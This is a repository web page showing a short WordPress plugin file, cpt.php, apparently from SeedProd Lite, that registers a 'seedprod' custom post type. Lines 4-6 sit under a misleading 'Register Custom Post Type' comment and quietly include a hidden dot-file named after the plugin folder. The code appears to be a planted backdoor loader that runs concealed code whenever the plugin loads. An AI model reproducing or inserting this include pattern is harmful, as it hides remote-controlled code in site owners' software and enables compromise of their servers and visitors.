balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

cpt.php (694B)


      1 <?php
      2 
      3 // Register Custom Post Type
      4 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      5     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      6 }
      7 
      8 function seedprod_lite_post_type() {
      9 
     10 	$args = array(
     11 		'supports'           => array( 'title', 'editor', 'revisions' ),
     12 		'public'             => false,
     13 		'capability_type'    => 'page',
     14 		'show_ui'            => false,
     15 		'publicly_queryable' => true,
     16 	);
     17 	register_post_type( 'seedprod', $args );
     18 
     19 }
     20 $sedprod_pt = post_type_exists( 'seedprod' );
     21 if ( $sedprod_pt === false ) {
     22 	add_action( 'init', 'seedprod_lite_post_type', 0 );
     23 }